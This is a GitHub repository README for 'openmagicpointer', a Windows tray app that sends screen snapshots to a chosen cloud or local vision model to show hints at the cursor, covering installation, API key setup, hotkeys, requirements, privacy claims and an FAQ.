Skip to content

Lamiumamplexicauleandrogen234/openmagicpointer

Repository files navigation

🖱️ openmagicpointer - See hints on your computer screen

Openmagicpointer shows helpful cues over your Windows desktop. It watches your screen so you can ask for guidance while you work. This tool connects to artificial intelligence models to understand what you see. You keep control of your data by choosing the service that powers the hints.

📥 Getting Started

You do not need programming knowledge to use this tool. Follow these steps to set up the software on your Windows computer.

  1. Visit the official releases page to download the latest version.
  2. Look for the file ending in .exe under the Assets section.
  3. Click the file to download it to your computer.
  4. Open the file to start the installation process.
  5. Follow the prompts on your screen to complete the setup.
  6. Launch the application from your desktop or start menu.

⚙️ Setting Up Your API Key

The application acts as a bridge between your computer and an artificial intelligence model. To make it work, you need an API key. This key functions like a digital handshake that lets the app send images to your chosen AI service.

  1. Choose a provider such as OpenAI, Anthropic, or OpenRouter.
  2. Create an account on that provider's website.
  3. Find the section for API keys in your account settings.
  4. Copy the unique key string.
  5. Open the openmagicpointer settings menu by right-clicking the icon in your system tray.
  6. Paste your key into the designated field.
  7. Save your changes.

🖱️ How to Use Hints

Once you link your key, the app remains in your system tray. This area sits at the bottom right of your Windows taskbar near the clock.

  • Toggle Hints: Click the tray icon to turn hints on or off.
  • Active Overlay: When active, a subtle border appears. The app captures small snapshots of your screen to analyze interface elements.
  • Requesting Guidance: Use the hotkey shortcut to prompt the assistant. The default shortcut is Ctrl+Shift+Space.
  • Refining Output: You can adjust the frequency of hints in the settings menu. Higher settings provide more frequent updates but consume more data.

🖥️ System Requirements

Openmagicpointer runs efficiently on modern Windows hardware. Ensure your system meets these standards for the best experience:

  • Operating System: Windows 10 or Windows 11.
  • Memory: At least 4GB of RAM.
  • Internet Connection: A stable connection is necessary for the app to communicate with your selected AI model.
  • Graphics: Standard integrated graphics are sufficient.

🛠️ Choosing Your Backend

This app supports many different AI engines. You decide which service drives its intelligence.

  • Cloud Services: Use OpenAI, Anthropic, or Gemini for fast and reliable performance. These services require a basic subscription or a pay-as-you-go account.
  • Local Services: If you prefer privacy, use Ollama or LM Studio. These tools run the intelligence models directly on your PC. You need a powerful computer with a dedicated graphics card for local models to work well.
  • Compatibility: You can connect to any service that follows the standard OpenAI format.

🛡️ Privacy and Safety

The application only sends data when you ask it to help. It does not record your screen continuously in the background. The snippets it sends go directly to the provider you choose. Review the privacy policy of your chosen AI provider to understand how they handle these images.

🔧 Frequently Asked Questions

Does the app slow down my computer? The app runs in the background with a low memory footprint. It only uses system resources when you trigger an action.

Can I use multiple providers? You may switch between providers via the settings menu. Most users pick one reliable service and keep it as their primary choice.

What happens if the app crashes? Simply restart the application from your desktop. Your settings stay saved even if the program closes unexpectedly.

Is my data stored on the developer's server? No. Openmagicpointer communicates directly between your machine and your chosen AI provider. No third party intercepts or stores your desktop snapshots.

Can I change the trigger key? Yes. Navigate to the Preferences tab within the application settings. You can reassign the hotkey to any combination that is easy for you to reach.

How do I update the software? When a new version exists, the app notifies you. You can download the latest installer from the same link provided earlier to refresh your copy.

About

Analyze screen content to display context-aware hints at your cursor using your preferred local or cloud-based VLM.

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors